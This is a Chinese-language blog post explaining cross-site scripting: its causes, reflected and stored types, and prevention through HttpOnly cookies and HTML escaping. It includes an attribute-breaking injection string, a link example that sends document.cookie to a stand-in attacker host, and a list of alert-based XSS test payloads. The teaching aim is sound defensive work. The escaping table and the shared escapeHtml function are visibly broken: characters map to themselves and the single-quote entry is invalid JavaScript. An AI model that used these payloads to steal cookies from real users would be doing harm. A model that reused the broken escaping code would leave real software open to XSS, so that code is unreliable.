你聽說過XSS
嗎?
XSS(Cross-site scripting, 跨站腳本)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。
研究表明,最近幾年 XSS 已經(jīng)超過 “緩沖區(qū)溢出” 成為最流行的攻擊方式,有68%的網(wǎng)站可能遭受此類攻擊。
那么檢測一下你是否充分了解 XSS 吧
XSS 為什么會(huì)發(fā)生?
XSS 有幾種類型?
XSS 如何預(yù)防和修復(fù)?
如果可以回答??3個(gè)問題,這篇文章對你提升是微乎其微的。
如果不可以,你可以花十分鐘左右閱讀一下。
我目前的客戶是一家銀行,因?yàn)槠髽I(yè)特性和業(yè)務(wù)需求,對系統(tǒng)安全高度重視。
因此,我不得不分析了整個(gè)系統(tǒng),從中找出未對應(yīng) XSS 的 Code 。說實(shí)話,雖然是企業(yè)內(nèi)部系統(tǒng),但是代碼也不少,看代碼看的我都快吐了。
得益于此,讓我對
XSS
的理解更加深了一層。
1. XSS 為什么會(huì)發(fā)生?
因?yàn)橛脩糨斎氲臄?shù)據(jù)被當(dāng)成代碼執(zhí)行了。
那么,為什么用戶輸入的數(shù)據(jù)會(huì)被當(dāng)成代碼并且被執(zhí)行呢?
因?yàn)楫?dāng)用戶輸入尖括號< >
,引號'
"
,斜杠/
之類的特殊字符時(shí),可能破壞原始的代碼結(jié)構(gòu),導(dǎo)致輸入的部分內(nèi)容被當(dāng)成代碼,并且被執(zhí)行。
[小例子]
假如有下面一個(gè)textbox
<input type="text" name="message" value="hello tj">
hello tj
是來自用戶的輸入,如果用戶不是輸入hello tj
,而是輸入"/><script>alert(document.cookie)</script><p name="
那么就會(huì)變成??的樣子。可不可怕?
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">
2. XSS 有幾種類型?
XSS 有兩種類型,反射型XSS
和持久型XSS
。
反射型XSS
也就是非持久型XSS,常見誘騙用戶點(diǎn)擊帶有攻擊代碼的URL鏈接,鏈接被瀏覽器執(zhí)行,從而攻擊用戶。
只有當(dāng)前用戶被影響,影響范圍:小。
[小例子]
<a href="http://xxx91.com/index?term=<script>window.open('http://hacker.com?yourcookie='+document.cookie)</script>">小姐姐</a>
如果你點(diǎn)擊了??鏈接,你cookie信息就有可能被發(fā)送到黑客的服務(wù)器http://hacker.com
。
雖然鏈接可能被用戶懷疑,但是可以通過短網(wǎng)址服務(wù)將之縮短,從而隱藏攻擊代碼。
持久型XSS
也叫存儲(chǔ)型XSS,提交包含攻擊代碼的數(shù)據(jù)到服務(wù)器。
所有瀏覽這部分?jǐn)?shù)據(jù)的用戶都將被攻擊代碼影響,影響范圍:大
[小例子]
html模版如下:
<input type="text" name="message" value="${message}">
當(dāng)從數(shù)據(jù)庫查詢的 message 如下:"/><script>alert(document.cookie)</script><p name="
生成的 html 將變成??:
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">
此時(shí),html可能已經(jīng)不受我們控制了。
3. XSS 如何預(yù)防和修復(fù)?
原則:所有用戶輸入都是不可信的。(注意:攻擊代碼不一定僅在
<script></script>
中。)
預(yù)防 反射型XSS
將重要的cookie標(biāo)記為http only
,這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了。預(yù)防 持久型XSS
處理掉可能破壞原始代碼結(jié)構(gòu)的特殊字符。將特殊字符編碼成轉(zhuǎn)義字符,使其成為數(shù)據(jù)的一部分而不是代碼。
[需要編碼的7個(gè)字符]& –> & < –> < > –> > " –> " ` -> `' –> '/ –> /
有兩點(diǎn)需要特別說明的是:
不推薦將單引號
'
編碼為&apos
; ,因?yàn)樗⒉皇菢?biāo)準(zhǔn)的HTML標(biāo)簽需要對斜杠號
/
編碼,因?yàn)樵谶M(jìn)行XSS攻擊時(shí),斜杠號對于關(guān)閉當(dāng)前HTML標(biāo)簽非常有用
(最后)
分享一段簡單的代碼
function escapeHtml(value) { if (typeof value !== 'string') {return value } return value.replace(/[&<>`"'\/]/g, function(result) {return { '&': '&', '<': '<', '>': '>', '`': '`', '"': '"', "'": ''', '/': '/',}[result] })}
分享一些用于檢測 XSS 的測試用例
><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script>"><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert (vulnerable)</script>%3Cscript%3Ealert('XSS')%3C/script%3E<script>alert('XSS')</script><img src="javascript:alert('XSS')"><img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
希望這篇文章對你有幫助。by iamtjcn
http://www.cnblogs.com/FlightButterfly/p/7118324.html